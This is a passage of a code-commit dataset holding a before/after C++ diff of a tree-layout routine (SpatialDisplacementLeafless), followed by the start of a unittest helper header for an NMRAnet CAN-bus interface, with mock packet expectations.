scalingFactorW);\n\tPropertyShifter shifter2(minDim * 1 \/ 2);\n\ttree->transform(TreeNodeKey::X,&shifter2);\n}\n\n\/\/ Sorted in increasing order\nvoid SpatialDisplacementLeafless::insertOrderedBy(vector<SurrogateTreeNode*>* list, SurrogateTreeNode* tree, string property)\n{\n\t\/\/printf(\"Inserting '%s' from %s. Current size: %d\\n\",property.c_str(),tree->data[TreeNodeKey::NAME].c_str(), list->size());\n\tSurrogateTreeNode* node;\n\tbool inserted = false;\n\tlong comp = atol(tree->data[property].c_str());\n\tlong curr = 0;\n\tfor(vector<SurrogateTreeNode*>::iterator iter = list->begin(); iter != list->end(); ++iter)\n\t{\n\t\tnode = *iter;\n\t\tcurr = atol(node->data[property].c_str());\n\t\t\/\/printf(\"%ld < %ld?\\n\",atol(tree->data[property].c_str()),atol(node->data[property].c_str()));\n\t\tif(comp < curr)\n\t\t{\n\t\t\tlist->insert(iter,tree);\n\t\t\tinserted = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif(!inserted)\n\t{\n\t\t\/\/printf(\"Inserting at end\\n\");\n\t\tlist->push_back(tree);\n\t}\n}\n\nvoid SpatialDisplacementLeafless::expand(SurrogateTreeNode* tree, double rootAngle, double rootX, double rootY, double allowedHeight)\n{\n\tif(tree->children->size() > 0)\n\t{\n\t\t\/\/ Determine initial layout based on creation time of child nodes.\n\t\t\/\/ Files are split into different list than directories.\n\t\tvector<SurrogateTreeNode*> files;\n\t\tvector<SurrogateTreeNode*> dirs;\n\t\tSurrogateTreeNode* node = NULL;\n\t\tint maxChild = 1;\n\t\tint childSize;\n\t\tint mass = 0;\n\t\tint children = 0;\n\t\tdouble minChildMass = DBL_MAX;\n\t\tfor(vector<SurrogateTreeNode*>::iterator iter = tree->children->begin(); iter != tree->children->end(); ++iter)\n\t\t{\n\t\t\tchildren++;\n\t\t\tnode = *iter;\n\t\t\t\/\/ Directory\n\t\t\tif(node->children->size() > 0)\n\t\t\t{\n\t\t\t\t\/\/printf(\"Inserting into dirs...\\n\");\n\t\t\t\tthis->insertOrderedBy(&dirs,node,TreeNodeKey::SIZE);\n\t\t\t\tchildSize = atoi(node->data[TreeNodeKey::SIZE].c_str());\n\t\t\t\tmass += childSize;\n\t\t\t\tif(childSize > maxChild )\n\t\t\t\t{\n\t\t\t\t\tmaxChild = childSize;\n\t\t\t\t}\n\t\t\t\tif(childSize < minChildMass)\n\t\t\t\t{\n\t\t\t\t\tminChildMass = childSize;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ File\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/printf(\"Inserting into files...\\n\");\n\t\t\t\tthis->insertOrderedBy(&files,node,TreeNodeKey::CREATION_TIME);\n\t\t\t\tmass++;\n\t\t\t\tif(minChildMass > 1)\n\t\t\t\t{\n\t\t\t\t\tminChildMass = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Map for retrieving resutls\n\t\tunordered_map<SurrogateTreeNode*,int> pairs;\n\t\tdouble masses[children];\n\t\tdouble positions[children];\n\t\tmemset(positions,0,children*sizeof(double));\n\t\t\/\/ Layout directories first\n\t\t\/\/ Start left if even number of items.\n\t\tbool left = children % 2 != 0;\n\t\tint center = children \/ 2;\n\t\tint dist = 0;\n\t\t\/\/TreeDisplacementNode* treeNode;\n\t\tint i = 0;\n\t\tint location;\n\t\tint nodeMass;\n\t\tfor(; i < (int)dirs.size(); i++)\n\t\t{\n\t\t\tdist = (i+1)\/2;\n\t\t\tnodeMass = atoi(dirs[i]->data[TreeNodeKey::SIZE].c_str());\n\t\t\tif(left)\n\t\t\t{\n\t\t\t\tlocation = center - dist;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlocation = center + dist;\n\t\t\t}\n\t\t\tmasses[location] = nodeMass;\n\t\t\tpairs[dirs[i]] = location;\n\t\t\tfor(int k = location; k < children; k++)\n\t\t\t{\n\t\t\t\tpositions[k] += nodeMass;\n\t\t\t}\n\t\t\tleft = !left;\n\t\t}\n\t\t\/\/ Now layout files\n\t\tfor(int j = 0; j < (int)files.size(); j++)\n\t\t{\n\t\t\tdist = ((i + j + 1)\/2);\n\t\t\tnodeMass = 1;\n\t\t\tif(left)\n\t\t\t{\n\t\t\t\tlocation = center - dist;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlocation = center + dist;\n\t\t\t}\n\t\t\tmasses[location] = nodeMass;\n\t\t\tpairs[files[j]] = location;\n\t\t\tfor(int k = location; k < children; k++)\n\t\t\t{\n\t\t\t\tpositions[k] += nodeMass;\n\t\t\t}\n\t\t\tleft = !left;\n\t\t}\n\n\t\t\/\/ Calculate spacing to range [0,splay]\n\t\tdouble deltaSplay = 0;\n\t\tdouble splay = 3.14159 \/ 2;\n\t\tdouble com;\n\t\tif(mass > minChildMass)\n\t\t{\n\t\t\tdeltaSplay = splay \/ (mass - minChildMass);\n\t\t}\n\n\t\tDiscursiveDebugPrint(\"Subtree mass effects [\");\n\t\tfor(i = 0; i < children; i++)\n\t\t{\n\t\t\tDiscursiveDebugPrint(\"%f,\",positions[i]);\n\t\t}\n\t\tDiscursiveDebugPrint(\"] @ %f\\n\", deltaSplay);\n\n\t\tpositions[0] = 0;\n\t\tcom = 0;\n\t\tfor(i = 1; i < children; i++)\n\t\t{\n\t\t\tpositions[i] = (positions[i] - minChildMass)*deltaSplay;\n\t\t\tcom += (positions[i] * masses[i]);\n\t\t}\n\t\t\/\/ Final part of CoM calculation\n\t\tcom \/= mass;\n\n\t\t\/\/ Transform positions to arc\n\t\t\/\/double arcRadius = 10.0;\n\/\/\t\tdouble deltaAngle = splay \/ children;\n\t\tint maxDepth = (int)tree->findMax(TreeNodeKey::DEPTH);\n\t\tint depth;\n\t\tdouble arcRadius = allowedHeight\/maxDepth;\n\t\tdouble ratio;\n\t\tdouble angle;\n\n\t\t\/\/ Controls width of fan-out. > 1 : Wide tree\n\t\t\/\/\t\t\t\t\t\t\t < 1 : Narrow tree\n\t\tdouble widthHeightScaleFactor = 1.0;\n\t\t\/\/ Transform positions to arc and Update new positions\n\t\t\/\/ Dirs first\n\t\tfor(i = 0; i < (int)dirs.size(); i++)\n\t\t{\n\t\t\tnode = dirs[i];\n\t\t\tdepth = atoi(node->data[TreeNodeKey::DEPTH].c_str());\n\t\t\tratio = depth \/ (double)maxDepth;\n\t\t\tangle = rootAngle - (positions[pairs[node]] - com);\n\t\t\tdouble newX = rootX + (ratio * arcRadius * cos(angle));\n\t\t\tdouble newY = rootY + (ratio * arcRadius * widthHeightScaleFactor * sin(angle));\n\t\t\tnode->set(TreeNodeKey::X, boost::lexical_cast<string>(newX));\n\t\t\tnode->set(TreeNodeKey::Y, boost::lexical_cast<string>(newY));\n\t\t\t\/\/ Run expand on child\n\t\t\tdouble childRot = (3.14159\/2);\/\/angle;\/\/ + ((3.14159\/2)-angle)\/2;\n\t\t\tthis->expand(node,childRot,newX,newY,allowedHeight - arcRadius);\n\t\t}\n\t\t\/\/ Then files\n\t\tfor(int j = 0; j < (int)files.size(); j++)\n\t\t{\n\t\t\tnode = files[j];\n\t\t\tdepth = atoi(node->data[TreeNodeKey::DEPTH].c_str());\n\t\t\tratio = depth \/ (double)maxDepth;\n\t\t\tangle = rootAngle - (positions[pairs[node]] - com);\n\t\t\tdouble newX = rootX + (ratio * arcRadius * cos(angle));\n\t\t\tdouble newY = rootY + (ratio * arcRadius * widthHeightScaleFactor * sin(angle));\n\t\t\tnode->set(TreeNodeKey::X, boost::lexical_cast<string>(newX));\n\t\t\tnode->set(TreeNodeKey::Y, boost::lexical_cast<string>(newY));\n\t\t}\n\/\/\t\tfor(vector<SurrogateTreeNode*>::iterator iter = tree->children->begin(); iter != tree->children->end(); ++iter)\n\/\/\t\t{\n\/\/\t\t\tnode = *iter;\n\/\/\t\t\tdepth = atoi(node->data[TreeNodeKey::DEPTH].c_str());\n\/\/\t\t\tratio = depth \/ (double)maxDepth;\n\/\/\t\t\tangle = rootAngle + ();\n\/\/\t\t\tdouble newX = rootX + ();\n\/\/\t\t\tdouble newY = rootY;\n\/\/\t\t\t\/\/printf(\"%s final position at (%f,%f)\\n\",node->data[TreeNodeKey::NAME].c_str(),newX, newY);\n\/\/\t\t\tnode->data[TreeNodeKey::X] = boost::lexical_cast<string>(newX);\n\/\/\t\t\tnode->data[TreeNodeKey::Y] = boost::lexical_cast<string>(newY);\n\/\/\t\t\tprintf(\"%s @ (%s,%s)\\n\",node->data[TreeNodeKey::NAME].c_str(),node->data[TreeNodeKey::X].c_str(),node->data[TreeNodeKey::Y].c_str());\n\/\/\t\t\t\/\/ Run expand on child\n\/\/\t\t\tdouble childRot = treeNode->getRotation() + ((3.14159\/2)-treeNode->getRotation())\/2;\n\/\/\t\t\tthis->expand(node,childRot,newX,newY,allowedHeight - arcRadius);\n\/\/\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/printf(\"No children for node '%s'\\n\", tree->data[TreeNodeKey::NAME].c_str());\n\t}\n}\n\nint SpatialDisplacementLeafless::count(SurrogateTreeNode* tree)\n{\n\t\/\/ Count all children plus ourselves (initial 1)\n\tint sum = 1;\n\tint maxDepth = 0;\n\tint childDepth = 0;\n\tfor(vector<SurrogateTreeNode*>::iterator iter = tree->children->begin(); iter != tree->children->end(); ++iter)\n\t{\n\t\tsum += this->count(*iter);\n\t\t\/\/childDepth = atoi((*iter)->data[\"count\"].c_str());\n\t\tchildDepth = atoi((*iter)->data[TreeNodeKey::DEPTH].c_str());\n\t\tif(childDepth > maxDepth)\n\t\t{\n\t\t\tmaxDepth = childDepth;\n\t\t}\n\t}\n\t\/\/ Assign count to data\n\ttree->set(TreeNodeKey::SIZE, boost::lexical_cast<string>(sum));\n\tDiscursiveDebugPrint(\"Size of tree %s is %s in this and %d sublevels\\n\",tree->data[TreeNodeKey::NAME].c_str(),tree->data[TreeNodeKey::SIZE].c_str(),maxDepth);\n\ttree->set(TreeNodeKey::DEPTH, boost::lexical_cast<string>(maxDepth + 1));\n\treturn sum;\n}\n<commit_msg>Fixed some scaling but the layout is wrong for small trees now.<commit_after>\/*\n * spatial_displacement_leafless.cpp\n *\n * Created on: Aug 12, 2010\n * Author: Mark Christensen\n *\/\n\n#include \"spatial_displacement_leafless.h\"\n#include \"..\/system\/discursive_system.h\"\n\n\nusing namespace std;\n\nSpatialDisplacementLeafless::SpatialDisplacementLeafless(int width, int height):width(width), height(height), growthUnit(5.0)\n{\n}\n\nvoid SpatialDisplacementLeafless::decorate(SurrogateTreeNode* tree)\n{\n\t\/\/ Iterate over each node with children\n\t\/\/ First, \"count\". Calculates child center of mass and subtree depth\n\tthis->count(tree);\n\t\/\/ Second, float weighted surrogate nodes into position\n\t\/\/this->expand(tree,(3.14159\/2),0,0);\n\t\/\/ Max tree depth\n\tdouble maxDepth = tree->findMax(TreeNodeKey::DEPTH);\n\tthis->expand(tree,(3.14159\/2),0,0,(this->height)\/maxDepth);\n\t\/\/ Third, transform coordinates\n\tthis->transform(tree);\n}\n\n\n\/\/ Scale point values to fit within width and height give\n\/\/ with root at (width\/2, height)\n\/\/ Transformation flips y values and shifts x values\n\/\/ after scaling\nvoid SpatialDisplacementLeafless::transform(SurrogateTreeNode* tree)\n{\n\t\/\/ Calculate resize scaling factors\n\tdouble allowedWidth = this->width*0.95;\n\tdouble allowedHeight = this->height*0.95;\n\tdouble xMax = tree->findMax(TreeNodeKey::X);\n\tdouble xMin = tree->findMin(TreeNodeKey::X);\n\tdouble yMax = tree->findMax(TreeNodeKey::Y);\n\tdouble yMin = tree->findMin(TreeNodeKey::Y);\n\tDiscursiveDebugPrint(\"Mins: (%f,%f), Maxs: (%f,%f)\\n\",xMin,yMin,xMax,yMax);\n\t\/\/double currWidth = xMax - xMin;\n\tdouble maxXDim = max(fabs(xMax),fabs(xMin));\n\tdouble currWidth = xMax - xMin;\n\tdouble currHeight = yMax - yMin;\n\n\tdouble minDim = min(allowedHeight, allowedWidth);\n\n\tdouble scalingFactorW = minDim\/(2*maxXDim);\n\tdouble scalingFactorH = minDim\/currHeight;\n\n\t\/\/ Transform points to look more \"naturally tree-like\"\n\ttree->scale(TreeNodeKey::Y, scalingFactorH * 0.98);\n\tPropertyInverter inverter(this->height * 0.98);\n\ttree->transform(TreeNodeKey::Y,&inverter);\n\n\/\/\tPropertyShifter shifter(-1*((xMax + xMin) \/ 2));\n\tPropertyShifter shifter(-xMin);\n\ttree->transform(TreeNodeKey::X,&shifter);\n\t\/\/ Scale tree values\n\ttree->scale(TreeNodeKey::X, scalingFactorW);\n\/\/\tPropertyShifter shifter2(minDim * 1 \/ 2);\n\tPropertyShifter shifter2(maxXDim * scalingFactorW);\n\ttree->transform(TreeNodeKey::X,&shifter2);\n}\n\n\/\/ Sorted in increasing order\nvoid SpatialDisplacementLeafless::insertOrderedBy(vector<SurrogateTreeNode*>* list, SurrogateTreeNode* tree, string property)\n{\n\t\/\/printf(\"Inserting '%s' from %s. Current size: %d\\n\",property.c_str(),tree->data[TreeNodeKey::NAME].c_str(), list->size());\n\tSurrogateTreeNode* node;\n\tbool inserted = false;\n\tlong comp = atol(tree->data[property].c_str());\n\tlong curr = 0;\n\tfor(vector<SurrogateTreeNode*>::iterator iter = list->begin(); iter != list->end(); ++iter)\n\t{\n\t\tnode = *iter;\n\t\tcurr = atol(node->data[property].c_str());\n\t\t\/\/printf(\"%ld < %ld?\\n\",atol(tree->data[property].c_str()),atol(node->data[property].c_str()));\n\t\tif(comp < curr)\n\t\t{\n\t\t\tlist->insert(iter,tree);\n\t\t\tinserted = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif(!inserted)\n\t{\n\t\t\/\/printf(\"Inserting at end\\n\");\n\t\tlist->push_back(tree);\n\t}\n}\n\nvoid SpatialDisplacementLeafless::expand(SurrogateTreeNode* tree, double rootAngle, double rootX, double rootY, double allowedHeight)\n{\n\tif(tree->children->size() > 0)\n\t{\n\t\t\/\/ Determine initial layout based on creation time of child nodes.\n\t\t\/\/ Files are split into different list than directories.\n\t\tvector<SurrogateTreeNode*> files;\n\t\tvector<SurrogateTreeNode*> dirs;\n\t\tSurrogateTreeNode* node = NULL;\n\t\tint maxChild = 1;\n\t\tint childSize;\n\t\tint mass = 0;\n\t\tint children = 0;\n\t\tdouble minChildMass = DBL_MAX;\n\t\tfor(vector<SurrogateTreeNode*>::iterator iter = tree->children->begin(); iter != tree->children->end(); ++iter)\n\t\t{\n\t\t\tchildren++;\n\t\t\tnode = *iter;\n\t\t\t\/\/ Directory\n\t\t\tif(node->children->size() > 0)\n\t\t\t{\n\t\t\t\t\/\/printf(\"Inserting into dirs...\\n\");\n\t\t\t\tthis->insertOrderedBy(&dirs,node,TreeNodeKey::SIZE);\n\t\t\t\tchildSize = atoi(node->data[TreeNodeKey::SIZE].c_str());\n\t\t\t\tmass += childSize;\n\t\t\t\tif(childSize > maxChild )\n\t\t\t\t{\n\t\t\t\t\tmaxChild = childSize;\n\t\t\t\t}\n\t\t\t\tif(childSize < minChildMass)\n\t\t\t\t{\n\t\t\t\t\tminChildMass = childSize;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ File\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/printf(\"Inserting into files...\\n\");\n\t\t\t\tthis->insertOrderedBy(&files,node,TreeNodeKey::CREATION_TIME);\n\t\t\t\tmass++;\n\t\t\t\tif(minChildMass > 1)\n\t\t\t\t{\n\t\t\t\t\tminChildMass = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Map for retrieving resutls\n\t\tunordered_map<SurrogateTreeNode*,int> pairs;\n\t\tdouble masses[children];\n\t\tdouble positions[children];\n\t\tmemset(positions,0,children*sizeof(double));\n\t\t\/\/ Layout directories first\n\t\t\/\/ Start left if even number of items.\n\t\tbool left = children % 2 != 0;\n\t\tint center = children \/ 2;\n\t\tint dist = 0;\n\t\t\/\/TreeDisplacementNode* treeNode;\n\t\tint i = 0;\n\t\tint location;\n\t\tint nodeMass;\n\t\tfor(; i < (int)dirs.size(); i++)\n\t\t{\n\t\t\tdist = (i+1)\/2;\n\t\t\tnodeMass = atoi(dirs[i]->data[TreeNodeKey::SIZE].c_str());\n\t\t\tif(left)\n\t\t\t{\n\t\t\t\tlocation = center - dist;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlocation = center + dist;\n\t\t\t}\n\t\t\tmasses[location] = nodeMass;\n\t\t\tpairs[dirs[i]] = location;\n\t\t\tfor(int k = location; k < children; k++)\n\t\t\t{\n\t\t\t\tpositions[k] += nodeMass;\n\t\t\t}\n\t\t\tleft = !left;\n\t\t}\n\t\t\/\/ Now layout files\n\/\/\t\tfor(int j = 0; j < (int)files.size(); j++)\n\/\/\t\t{\n\/\/\t\t\tdist = ((i + j + 1)\/2);\n\/\/\t\t\tnodeMass = 1;\n\/\/\t\t\tif(left)\n\/\/\t\t\t{\n\/\/\t\t\t\tlocation = center - dist;\n\/\/\t\t\t}\n\/\/\t\t\telse\n\/\/\t\t\t{\n\/\/\t\t\t\tlocation = center + dist;\n\/\/\t\t\t}\n\/\/\t\t\tmasses[location] = nodeMass;\n\/\/\t\t\tpairs[files[j]] = location;\n\/\/\t\t\tfor(int k = location; k < children; k++)\n\/\/\t\t\t{\n\/\/\t\t\t\tpositions[k] += nodeMass;\n\/\/\t\t\t}\n\/\/\t\t\tleft = !left;\n\/\/\t\t}\n\n\t\t\/\/ Calculate spacing to range [0,splay]\n\t\tdouble deltaSplay = 0;\n\t\tdouble splay = 3.14159 \/ 2;\n\t\tdouble com;\n\t\tdouble max = 0;\n\t\tif(mass > minChildMass)\n\t\t{\n\t\t\tdeltaSplay = splay \/ (mass - minChildMass);\n\t\t}\n\n\t\tDiscursiveDebugPrint(\"Subtree mass effects [\");\n\t\tfor(i = 0; i < children; i++)\n\t\t{\n\t\t\tDiscursiveDebugPrint(\"%f,\",positions[i]);\n\t\t}\n\t\tDiscursiveDebugPrint(\"] @ %f\\n\", deltaSplay);\n\n\t\t\/\/ Convert masses to initial locations\n\t\t\/\/ Record bounds\n\t\tpositions[0] = 0;\n\t\tcom = 0;\n\t\tfor(i = 1; i < children; i++)\n\t\t{\n\t\t\tpositions[i] = (positions[i] - minChildMass)*deltaSplay;\n\t\t\tcom += (positions[i] * masses[i]);\n\n\t\t\tif(positions[i] > max)\n\t\t\t{\n\t\t\t\tmax = positions[i];\n\t\t\t}\n\t\t}\n\t\t\/\/ Final part of CoM calculation\n\t\tcom \/= mass;\n\n\t\t\/\/ Balance tree\n\t\tdouble balancedCom = com;\n\t\tdouble divergence = balancedCom - (max\/2);\n\t\tdouble scale;\n\t\tbool shortenLeft;\n\t\tprintf(\"CoM: %f, Max: %f, Divergence: %f\\n\", balancedCom, max, divergence);\n\t\twhile(fabs(divergence) > 3.14159 \/ 50)\n\t\t{\n\t\t\t\/\/ Shorten left half\n\t\t\tif(divergence > 0)\n\t\t\t{\n\t\t\t\tshortenLeft = true;\n\t\t\t\tscale = (max - balancedCom)\/balancedCom;\n\t\t\t}\n\t\t\t\/\/ Shorten right half\n\t\t\telse\n\t\t\t{\n\t\t\t\tshortenLeft = false;\n\t\t\t\tscale = balancedCom\/(max - balancedCom);\n\t\t\t}\n\t\t\tcom = 0;\n\t\t\tfor(i = 1; i < children; i++)\n\t\t\t{\n\t\t\t\t\/\/ Adjust position\n\t\t\t\tif(shortenLeft && positions[i] < balancedCom)\n\t\t\t\t{\n\t\t\t\t\tpositions[i] = (positions[i] - divergence) * scale;\n\t\t\t\t}\n\t\t\t\telse if(!shortenLeft && positions[i] > balancedCom)\n\t\t\t\t{\n\t\t\t\t\tpositions[i] = ((positions[i] - balancedCom) * scale) + balancedCom;\n\t\t\t\t}\n\t\t\t\telse if(shortenLeft && positions[i] > balancedCom)\n\t\t\t\t{\n\t\t\t\t\tpositions[i] -= (2 * balancedCom - max);\n\t\t\t\t}\n\/\/\t\t\t\telse\n\/\/\t\t\t\t{\n\/\/\t\t\t\t\tpositions[i] = ;\n\/\/\t\t\t\t}\n\n\t\t\t\t\/\/ Aggregate new position to calc new CoM\n\t\t\t\tcom += (positions[i] * masses[i]);\n\t\t\t}\n\t\t\tmax = 2*(max - balancedCom);\n\t\t\tbalancedCom = com\/mass;\n\t\t\tdivergence = balancedCom - (max\/2);\n\/\/\t\t\tprintf(\"CoM: %f, Max: %f, Divergence: %f\\n\", balancedCom, max, divergence);\n\t\t}\n\n\t\t\/\/ Transform positions to arc\n\t\t\/\/double arcRadius = 10.0;\n\/\/\t\tdouble deltaAngle = splay \/ children;\n\t\tint maxDepth = (int)tree->findMax(TreeNodeKey::DEPTH);\n\t\tint depth;\n\t\tdouble arcRadius = allowedHeight\/maxDepth;\n\t\tdouble ratio;\n\t\tdouble angle;\n\n\t\t\/\/ Controls width of fan-out. > 1 : Wide tree\n\t\t\/\/\t\t\t\t\t\t\t < 1 : Narrow tree\n\t\tdouble widthHeightScaleFactor = 1.0;\n\t\t\/\/ Transform positions to arc and Update new positions\n\t\t\/\/ Dirs first\n\t\tfor(i = 0; i < (int)dirs.size(); i++)\n\t\t{\n\t\t\tnode = dirs[i];\n\t\t\tdepth = atoi(node->data[TreeNodeKey::DEPTH].c_str());\n\t\t\tratio = depth \/ (double)maxDepth;\n\t\t\tangle = rootAngle - (positions[pairs[node]] - com);\n\t\t\tdouble newX = rootX + (ratio * arcRadius * cos(angle));\n\t\t\tdouble newY = rootY + (ratio * arcRadius * widthHeightScaleFactor * sin(angle));\n\t\t\tnode->set(TreeNodeKey::X, boost::lexical_cast<string>(newX));\n\t\t\tnode->set(TreeNodeKey::Y, boost::lexical_cast<string>(newY));\n\t\t\t\/\/ Run expand on child\n\t\t\tdouble childRot = (3.14159\/2);\/\/angle;\/\/ + ((3.14159\/2)-angle)\/2;\n\t\t\tthis->expand(node,childRot,newX,newY,allowedHeight - arcRadius);\n\t\t}\n\t\t\/\/ Then files\n\t\tfor(int j = 0; j < (int)files.size(); j++)\n\t\t{\n\t\t\tnode = files[j];\n\t\t\tdepth = atoi(node->data[TreeNodeKey::DEPTH].c_str());\n\t\t\tratio = depth \/ (double)maxDepth;\n\t\t\tangle = rootAngle - (positions[pairs[node]] - com);\n\t\t\tdouble newX = rootX + (ratio * arcRadius * cos(angle));\n\t\t\tdouble newY = rootY + (ratio * arcRadius * widthHeightScaleFactor * sin(angle));\n\t\t\tnode->set(TreeNodeKey::X, boost::lexical_cast<string>(newX));\n\t\t\tnode->set(TreeNodeKey::Y, boost::lexical_cast<string>(newY));\n\t\t}\n\t}\n}\n\nint SpatialDisplacementLeafless::count(SurrogateTreeNode* tree)\n{\n\t\/\/ Count all children plus ourselves (initial 1)\n\tint sum = 1;\n\tint maxDepth = 0;\n\tint childDepth = 0;\n\tfor(vector<SurrogateTreeNode*>::iterator iter = tree->children->begin(); iter != tree->children->end(); ++iter)\n\t{\n\t\tsum += this->count(*iter);\n\t\t\/\/childDepth = atoi((*iter)->data[\"count\"].c_str());\n\t\tchildDepth = atoi((*iter)->data[TreeNodeKey::DEPTH].c_str());\n\t\tif(childDepth > maxDepth)\n\t\t{\n\t\t\tmaxDepth = childDepth;\n\t\t}\n\t}\n\t\/\/ Assign count to data\n\ttree->set(TreeNodeKey::SIZE, boost::lexical_cast<string>(sum));\n\tDiscursiveDebugPrint(\"Size of tree %s is %s in this and %d sublevels\\n\",tree->data[TreeNodeKey::NAME].c_str(),tree->data[TreeNodeKey::SIZE].c_str(),maxDepth);\n\ttree->set(TreeNodeKey::DEPTH, boost::lexical_cast<string>(maxDepth + 1));\n\treturn sum;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Helper classes for writing unittests testing the entire asynchronous\n\/\/ stack. Allows to send incoming messages (in gridconnect format) and set\n\/\/ expectations on messages produced.\n\/\/\n\/\/ Only include this file in unittests.\n\n#ifndef _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n#define _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n\n#include \"nmranet\/AliasAllocator.hxx\"\n#include \"nmranet\/IfCan.hxx\"\n#include \"nmranet\/EventService.hxx\"\n#include \"nmranet\/DefaultNode.hxx\"\n#include \"nmranet_config.h\"\n#include \"utils\/GridConnectHub.hxx\"\n#include \"utils\/test_main.hxx\"\n\nusing ::testing::AtLeast;\nusing ::testing::AtMost;\nusing ::testing::Eq;\nusing ::testing::Field;\nusing ::testing::Invoke;\nusing ::testing::IsNull;\nusing ::testing::Mock;\nusing ::testing::NiceMock;\nusing ::testing::NotNull;\nusing ::testing::Pointee;\nusing ::testing::Return;\nusing ::testing::StrCaseEq;\nusing ::testing::StrictMock;\nusing ::testing::WithArg;\nusing ::testing::_;\n\nclass TrainTestHelper;\n\n\/\/\/@todo(balazs.racz) remove\n\/\/ void (*g_invoke)(Notifiable *) = &InvokeNotification;\n\nHubFlow gc_hub0(&g_service);\nCanHubFlow can_hub0(&g_service);\nGCAdapterBase *g_gc_adapter = nullptr;\n\nHubFlow gc_hub1(&g_service);\nCanHubFlow can_hub1(&g_service);\nGCAdapterBase *g_gc_adapter1 = nullptr;\n\n\/** Helper class for setting expectation on the CANbus traffic in unit\n * tests. *\/\nclass MockSend : public HubPort\n{\npublic:\n MockSend()\n : HubPort(&g_service)\n {\n }\n\n MOCK_METHOD1(mwrite, void(const string &s));\n\n virtual Action entry()\n {\n string s(message()->data()->data(), message()->data()->size());\n mwrite(s);\n return release_and_exit();\n }\n};\n\nvoid InvokeNotification(Notifiable *done)\n{\n done->notify();\n}\n\nstatic void print_packet(const string &pkt)\n{\n fprintf(stderr, \"%s\\n\", pkt.c_str());\n}\n\nclass AsyncCanTest : public testing::Test\n{\npublic:\n static void SetUpTestCase()\n {\n g_gc_adapter =\n GCAdapterBase::CreateGridConnectAdapter(&gc_hub0, &can_hub0, false);\n }\n\n static void TearDownTestCase()\n {\n delete g_gc_adapter;\n }\n\nprotected:\n AsyncCanTest()\n {\n gc_hub0.register_port(&canBus_);\n }\n\n ~AsyncCanTest()\n {\n gc_hub0.unregister_port(&canBus_);\n if (printer_.get())\n {\n gc_hub0.unregister_port(printer_.get());\n }\n }\n\n \/** Delays the current thread until we are certain that all asynchrnous\n processing has completed. *\/\n void wait()\n {\n wait_for_main_executor();\n }\n\n\/** Adds an expectation that the code will send a packet to the CANbus.\n\n Example:\n expect_packet(\":X1954412DN05010101FFFF0000;\");\n\n @param gc_packet the packet in GridConnect format, including the leading\n : and trailing ;\n*\/\n#define expect_packet(gc_packet) \\\n EXPECT_CALL(canBus_, mwrite(StrCaseEq(gc_packet)))\n\n \/** Ignores all produced packets.\n *\n * Tihs can be used in tests where the expectations are tested in a higher\n * level than monitoring the CANbus traffic.\n *\/\n void expect_any_packet()\n {\n EXPECT_CALL(canBus_, mwrite(_)).Times(AtLeast(0)).WillRepeatedly(\n WithArg<0>(Invoke(print_packet)));\n }\n\n \/** Prints all packets sent to the canbus until the end of the current test\n * function.\n *\/\n void print_all_packets()\n {\n NiceMock<MockSend> *m = new NiceMock<MockSend>();\n EXPECT_CALL(*m, mwrite(_)).Times(AtLeast(0)).WillRepeatedly(\n WithArg<0>(Invoke(print_packet)));\n gc_hub0.register_port(m);\n printer_.reset(m);\n }\n\n \/** Injects a packet to the interface. This acts as if a different node on\n the CANbus had sent that packet.\n\n Example:\n send_packet(\":X195B4001N05010101FFFF0000;\");\n\n @param gc_packet the packet in GridConnect format, including the leading\n : and trailing ;\n *\/\n void send_packet(const string &gc_packet)\n {\n Buffer<HubData> *packet;\n mainBufferPool->alloc(&packet);\n packet->data()->assign(gc_packet);\n packet->data()->skipMember_ = &canBus_;\n gc_hub0.send(packet);\n }\n\n\/** Injects an incoming packet to the interface and expects that the node\n will send out a response packet for it.\n\n As a side effect, clears all pending expectations on the CANbus.\n\n Example:\n send_packet_and_expect_response(\":X198F4001N05010101FFFF0000;\",\n \":X194C412DN05010101FFFF0000;\");\n\n @param pkt is the packet to inject, in GridConnect format.\n @param resp is the response to expect, also in GridConnect format.\n*\/\n#define send_packet_and_expect_response(pkt, resp) \\\n do \\\n { \\\n expect_packet(resp); \\\n send_packet_and_flush_expect(pkt); \\\n } while (0)\n\n void send_packet_and_flush_expect(const string &pkt)\n {\n send_packet(pkt);\n wait();\n Mock::VerifyAndClear(&canBus_);\n }\n\n \/\/\/ Helper object for setting expectations on the packets sent on the bus.\n NiceMock<MockSend> canBus_;\n \/\/\/ Object for debug-printing every packet (if requested).\n std::unique_ptr<HubPort> printer_;\n};\n\nnamespace nmranet\n{\n\n\/*\nconst char *Node::MANUFACTURER = \"Stuart W. Baker\";\nconst char *Node::HARDWARE_REV = \"N\/A\";\nconst char *Node::SOFTWARE_REV = \"0.1\";\n\nconst size_t Datagram::POOL_SIZE = 10;\nconst size_t Datagram::THREAD_STACK_SIZE = 512;\nconst size_t Stream::CHANNELS_PER_NODE = 10;\nconst uint16_t Stream::MAX_BUFFER_SIZE = 512;*\/\n\nstatic const NodeID TEST_NODE_ID = 0x02010d000003ULL;\n\n\/** Test fixture base class with helper methods for exercising the asynchronous\n * interface code.\n *\n * Usage:\n *\n * Inherit your test fixture class from AsyncIfTest.\n *\/\nclass AsyncIfTest : public AsyncCanTest\n{\nprotected:\n AsyncIfTest()\n : pendingAliasAllocation_(false)\n {\n ifCan_.reset(new IfCan(&g_executor, &can_hub0, 10, 10, 5));\n ifCan_->local_aliases()->add(TEST_NODE_ID, 0x22A);\n }\n\n ~AsyncIfTest()\n {\n wait();\n if (pendingAliasAllocation_)\n {\n ifCan_->alias_allocator()->TEST_finish_pending_allocation();\n wait();\n }\n }\n\n friend class ::TrainTestHelper;\n\n \/** Creates an alias allocator flow, and injects an 